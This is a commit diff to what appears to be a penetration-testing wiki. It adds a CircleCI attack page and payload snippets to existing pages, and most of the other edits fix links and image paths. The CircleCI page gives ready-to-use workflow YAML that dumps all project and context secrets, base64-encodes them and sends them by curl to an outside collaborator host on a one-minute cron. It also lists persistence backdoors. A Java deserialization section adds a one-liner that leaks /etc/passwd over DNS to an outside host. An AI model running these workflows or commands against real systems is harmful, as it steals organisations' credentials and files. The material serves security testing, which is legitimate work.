GitBook: [#3088] No subject

SUMMARY.md

@@ -384,7 +384,7 @@
 * [CRLF (%0D%0A) Injection](pentesting-web/crlf-0d-0a.md)
 * [Cross-site WebSocket hijacking (CSWSH)](pentesting-web/cross-site-websocket-hijacking-cswsh.md)
 * [CSRF (Cross Site Request Forgery)](pentesting-web/csrf-cross-site-request-forgery.md)
-* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection/README.md)
+* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md)
   * [HTML Injection / Char-by-char Exfiltration](pentesting-web/dangling-markup-html-scriptless-injection/html-injection-char-by-char-exfiltration/README.md)
     * [CSS Injection Code](pentesting-web/dangling-markup-html-scriptless-injection/html-injection-char-by-char-exfiltration/css-injection-code.md)
 * [Deserialization](pentesting-web/deserialization/README.md)
@@ -539,6 +539,9 @@
   * [Concourse Architecture](cloud-security/concourse/concourse-architecture.md)
   * [Concourse Lab Creation](cloud-security/concourse/concourse-lab-creation.md)
   * [Concourse Enumeration & Attacks](cloud-security/concourse/concourse-enumeration-and-attacks.md)
+* [CircleCI](cloud-security/circleci.md)
+* [Apache Airflow](cloud-security/apache-airflow/README.md)
+  * [Airflow Configuration](cloud-security/apache-airflow/airflow-configuration.md)
 * [Cloud Security Review](cloud-security/cloud-security-review.md)
 * [AWS Security](cloud-security/aws-security.md)
 

cloud-security/apache-airflow/README.md

@@ -0,0 +1,2 @@
+# Apache Airflow
+

cloud-security/apache-airflow/airflow-configuration.md

@@ -0,0 +1,2 @@
+# Airflow Configuration
+

cloud-security/circleci.md

@@ -0,0 +1,258 @@
+# CircleCI
+
+## Basic Information
+
+****[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you ca **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
+
+## Permissions
+
+**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
+In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
+
+However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
+
+## Env Variables & Secrets
+
+According to [**the docs**](https://circleci.com/docs/2.0/env-vars/#) there are different ways to **load values in environment variables** inside a workflow.
+
+### Built-in env variables
+
+Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) **** like **** `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
+
+### Clear text
+
+You can declare them in clear text inside a **command**:
+
+```yaml
+- run:
+    name: "set and echo"
+    command: |
+        SECRET="A secret"
+        echo $SECRET
+```
+
+You can declare them in clear text inside the **run environment**:
+
+```yaml
+- run:
+    name: "set and echo"
+    command: echo $SECRET
+    environment:
+        SECRET: A secret
+```
+
+You can declare them in clear text inside the **build-job environment**:
+
+```yaml
+jobs:
+    build-job:
+        docker:
+            - image: cimg/base:2020.01
+    environment:
+        SECRET: A secret
+```
+
+You can declare them in clear text inside the **environment of a container**:
+
+```yaml
+jobs:
+    build-job:
+        docker:
+            - image: cimg/base:2020.01
+                environment:
+                    SECRET: A secret
+```
+
+### Project Secrets
+
+These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
+You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org\_name>/\<repo\_name>/environment-variables_
+
+![](<../.gitbook/assets/image (662).png>)
+
+{% hint style="danger" %}
+The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
+{% endhint %}
+
+### Context Secrets
+
+These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
+
+![](<../.gitbook/assets/image (661).png>)
+
+{% hint style="success" %}
+However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
+This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
+{% endhint %}
+
+## Attacks
+
+### Search Clear Text Secrets
+
+If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
+
+### Secret Env Vars & Context enumeration
+
+Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org\_name>/contexts_.
+
+### Exfiltrate Project secrets
+
+{% hint style="warning" %}
+In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
+{% endhint %}
+
+{% hint style="danger" %}
+The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
+{% endhint %}
+
+All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
+
+```yaml
+version: 2.1
+
+jobs:
+  exfil-env:
+    docker:
+      - image: cimg/base:stable
+    steps:
+      - checkout
+      - run:
+          name: "Exfil env"
+          command: "env | base64"
+
+workflows:
+  exfil-env-workflow:
+    jobs:
+      - exfil-env
+```
+
+If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
+
+```yaml
+version: 2.1
+
+jobs:
+  exfil-env:
+    docker:
+      - image: cimg/base:stable
+    steps:
+      - checkout
+      - run:
+          name: "Exfil env"
+          command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+
+# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
+workflows:
+  exfil-env-workflow:
+    triggers:
+      - schedule:
+          cron: "* * * * *"
+          filters:
+            branches:
+              only:
+                - circleci-project-setup
+    jobs:
+      - exfil-env
+```
+
+### Exfiltrate Context Secrets
+
+You need to **specify the context name** (this will also exfiltrate the project secrets):
+
+```yaml
+```
+
+```yaml
+version: 2.1
+
+jobs:
+  exfil-env:
+    docker:
+      - image: cimg/base:stable
+    steps:
+      - checkout
+      - run:
+          name: "Exfil env"
+          command: "env | base64"
+
+workflows:
+  exfil-env-workflow:
+    jobs:
+      - exfil-env:
+          context: Test-Context
+```
+
+If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
+
+```yaml
+version: 2.1
+
+jobs:
+  exfil-env:
+    docker:
+      - image: cimg/base:stable
+    steps:
+      - checkout
+      - run:
+          name: "Exfil env"
+          command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+
+# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
+workflows:
+  exfil-env-workflow:
+    triggers:
+      - schedule:
+          cron: "* * * * *"
+          filters:
+            branches:
+              only:
+                - circleci-project-setup
+    jobs:
+      - exfil-env:
+          context: Test-Context
+```
+
+{% hint style="warning" %}
+Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
+{% endhint %}
+
+### Escape to Cloud
+
+**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
+By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
+
+Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
+
+```yaml
+jobs:
+  exfil-env:
+    #docker:
+    #  - image: cimg/base:stable
+    machine:
+      image: ubuntu-2004:current
+```
+
+Or even a docker container with access to a remote docker service:
+
+```yaml
+jobs:
+  exfil-env:
+    docker:
+      - image: cimg/base:stable
+    steps:
+      - checkout
+      - setup_remote_docker:
+          version: 19.03.13
+```
+
+### Persistence
+
+* It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
+  * _https://app.circleci.com/settings/user/tokens_
+* It's possible to **create projects tokens** to access the project with the permissions given to the token.
+  * _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
+* It's possible to **add SSH keys** to the projects.
+  * _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
+* It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
+  * Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
+* It you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**

cloud-security/workspace-security.md

@@ -86,7 +86,7 @@ If someone creates a **copy** of that **document** that **contained the App Scri
 
 This method will be able to bypass also the Workspace admin restriction:
 
-![](<../.gitbook/assets/image (662) (1).png>)
+![](<../.gitbook/assets/image (662) (1) (1).png>)
 
 But can be prevented with:
 

pentesting-web/content-security-policy-csp-bypass.md

@@ -196,7 +196,7 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
 
 ### missing **base-uri**
 
-If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](dangling-markup-html-scriptless-injection/).
+If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](dangling-markup-html-scriptless-injection.md).
 
 Moreover, if the **page is loading a script using a relative path** (like `/js/app.js`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
 ****If the vulnerable page is loaded with **httpS**, make use a httpS url in the base.
@@ -233,7 +233,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 
 ### Bypass CSP with dangling markup
 
-Read [how here](dangling-markup-html-scriptless-injection/).
+Read [how here](dangling-markup-html-scriptless-injection.md).
 
 ### 'unsafe-inline'; img-src \*; via XSS
 

pentesting-web/csrf-cross-site-request-forgery.md

@@ -151,7 +151,7 @@ To set the domain name of the server in the URL that the Referrer is going to se
 
 ### **Exfiltrating CSRF Token**
 
-If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection/) vulnerability.
+If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability.
 
 ### **GET using HTML tags**
 

pentesting-web/dangling-markup-html-scriptless-injection.md

@@ -2,10 +2,10 @@
 
 ## Resume
 
-This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/)but you can **inject some HTML tags**.\
+This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](xss-cross-site-scripting/)but you can **inject some HTML tags**.\
 It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.
 
-Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass.md) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
+Several techniques commented here can be used to bypass some [**Content Security Policy**](content-security-policy-csp-bypass.md) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
 
 ## Main Applications
 
@@ -228,8 +228,8 @@ Not all the ways to leak connectivity in HTML will be useful for Dangling Markup
 
 You can find techniques like **CSS injection or Lazy Load Images** explained in this post to **leak secrets from a HTML without JS execution char by char**:
 
-{% content-ref url="html-injection-char-by-char-exfiltration/" %}
+{% content-ref url="dangling-markup-html-scriptless-injection/html-injection-char-by-char-exfiltration/" %}
-[html-injection-char-by-char-exfiltration](html-injection-char-by-char-exfiltration/)
+[html-injection-char-by-char-exfiltration](dangling-markup-html-scriptless-injection/html-injection-char-by-char-exfiltration/)
 {% endcontent-ref %}
 
 ## Brute-Force Detection List

pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

@@ -158,7 +158,7 @@ Inside the github, [**GadgetProbe has some wordlists**](https://github.com/Bisho
 ## Java Deserialization Scanner
 
 This scanner can be **download** from the Burp App Store (**Extender**).\
-The **extension** has **passive** and active **capabilities**. 
+The **extension** has **passive** and active **capabilities**.
 
 ### Passive
 
@@ -184,6 +184,14 @@ I this tab you have to **select** the **injection point** again, an **write** th
 
 ![](<../../.gitbook/assets/4 (1).png>)
 
+### Java Deserialization DNS Exfil information
+
+Make your payload execute something like the following:
+
+```bash
+(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
+```
+
 ### More Information
 
 * [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)

pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md

@@ -28,7 +28,7 @@ This technique was abused on AWS load balancer, so making sure that the users ac
 
 This is exactly the same technique as before, but checking the requests James noticed that clients were asking to send him their credentials, so he just modified his server to allow CORS to send him peoples credentials:
 
-![](<../../.gitbook/assets/image (662) (1) (1).png>)
+![](<../../.gitbook/assets/image (662) (1) (1) (1).png>)
 
 ### H2.TE via Request Header Injection
 
@@ -58,7 +58,7 @@ In this case the injection was performed inside the request line:
 
 Inside the scheme of the HTTP/2 connection you might be able to send a full URL that will overwrite the one indicated in the path:
 
-![](<../../.gitbook/assets/image (661) (1).png>)
+![](<../../.gitbook/assets/image (661) (1) (1).png>)
 
 ### Request Line Injection via spaces
 

pentesting-web/http-response-smuggling-desync.md

@@ -116,7 +116,7 @@ He will send a **exploit** like:
 
 After the first request is resolved and sent back to the attacker, the **victims request is added into the queue**:
 
-![](<../.gitbook/assets/image (661) (1) (1).png>)
+![](<../.gitbook/assets/image (661) (1) (1) (1).png>)
 
 The victim will receive as response the **HEAD response + the content of the second request response (containing part of the reflected data):**
 

pentesting-web/regular-expression-denial-of-service-redos.md

@@ -41,7 +41,19 @@ A Regex is called “evil” if it can stuck on crafted input.
 
 All the above are susceptible to the input `aaaaaaaaaaaaaaaaaaaaaaaa!` (The minimum input length might change slightly, when using faster or slower machines).
 
-## Examples
+## ReDoS Payloads
+
+### String Exfiltration via ReDoS
+
+In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**:
+
+* In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
+  * Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
+* In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
+
+### ReDoS Controlling Input and Regex
+
+The following are **ReDoS** examples where you **control** both the **input** and the **regex**:
 
 ```javascript
 function check_time_regexp(regexp, text){
@@ -51,7 +63,7 @@ function check_time_regexp(regexp, text){
     console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
 }
 
-
+// This payloads work because the input has several "a"s
 [
 //  "((a+)+)+$",  //Eternal,
 //  "(a?){100}$", //Eternal

pentesting-web/web-vulnerabilities-methodology.md

@@ -30,7 +30,7 @@ If the introduced data may somehow being reflected in the response, the page mig
 * [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)****
 * [ ] ****[**Command Injection**](command-injection.md)****
 * [ ] ****[**CRLF**](crlf-0d-0a.md)****
-* [ ] ****[**Dangling Markup**](dangling-markup-html-scriptless-injection/)****
+* [ ] ****[**Dangling Markup**](dangling-markup-html-scriptless-injection.md)****
 * [ ] [**File Inclusion/Path Traversal**](file-inclusion/)****
 * [ ] [**Open Redirect**](open-redirect.md)****
 * [ ] ****[**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)****

pentesting-web/xss-cross-site-scripting/README.md

@@ -11,7 +11,7 @@
          2. Can you use events or attributes supporting `javascript:` protocol?
          3. Can you bypass protections?
          4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-         5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
+         5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection.md)?
       2. Inside a **HTML tag**:
          1. Can you exit to raw HTML context?
          2. Can you create new events/attributes to execute JS code?
@@ -193,7 +193,7 @@ If in order to exploit the vulnerability you need the **user to click a link or
 
 ### Impossible - Dangling Markup
 
-If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/)because you could **exploit** the vulnerability **without** executing **JS** code.
+If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection.md)because you could **exploit** the vulnerability **without** executing **JS** code.
 
 ## Injecting inside HTML tag
 

stealing-sensitive-information-disclosure-from-a-web.md

@@ -5,5 +5,5 @@ Here I present you the main ways to can try to achieve it:
 
 * [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page.
 * ****[**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information.
-* ****[**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags.
+* ****[**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection.md): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags.
 * [**Clickjaking**](pentesting-web/clickjacking.md): If there is no  protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).

todo/hardware-hacking/radio.md

@@ -127,7 +127,7 @@ Pressing sample this appears:
 
 Now, to make SigDigger understand **where is the range** of the level carrying information you need to click on the **lower level** and maintain clicked until the biggest level:
 
-![](<../../.gitbook/assets/image (662).png>)
+![](<../../.gitbook/assets/image (662) (1).png>)
 
 If there would have been for example **4 different levels of amplitude**, you should have need to configure the **Bits per symbol to 2** and select from the smallest to the biggest.
 
@@ -149,7 +149,7 @@ Also, use **codifications** such as **Manchester**, and **up+down** can be **1 o
 
 Signal example sending information modulated in FM:
 
-![](<../../.gitbook/assets/image (661).png>)
+![](<../../.gitbook/assets/image (661) (1).png>)
 
 In the previous image you can observe pretty good that **2 frequencies are used** but if you **observe** the **waveform** you might n**ot be able to identify correctly the 2 different frequencies**: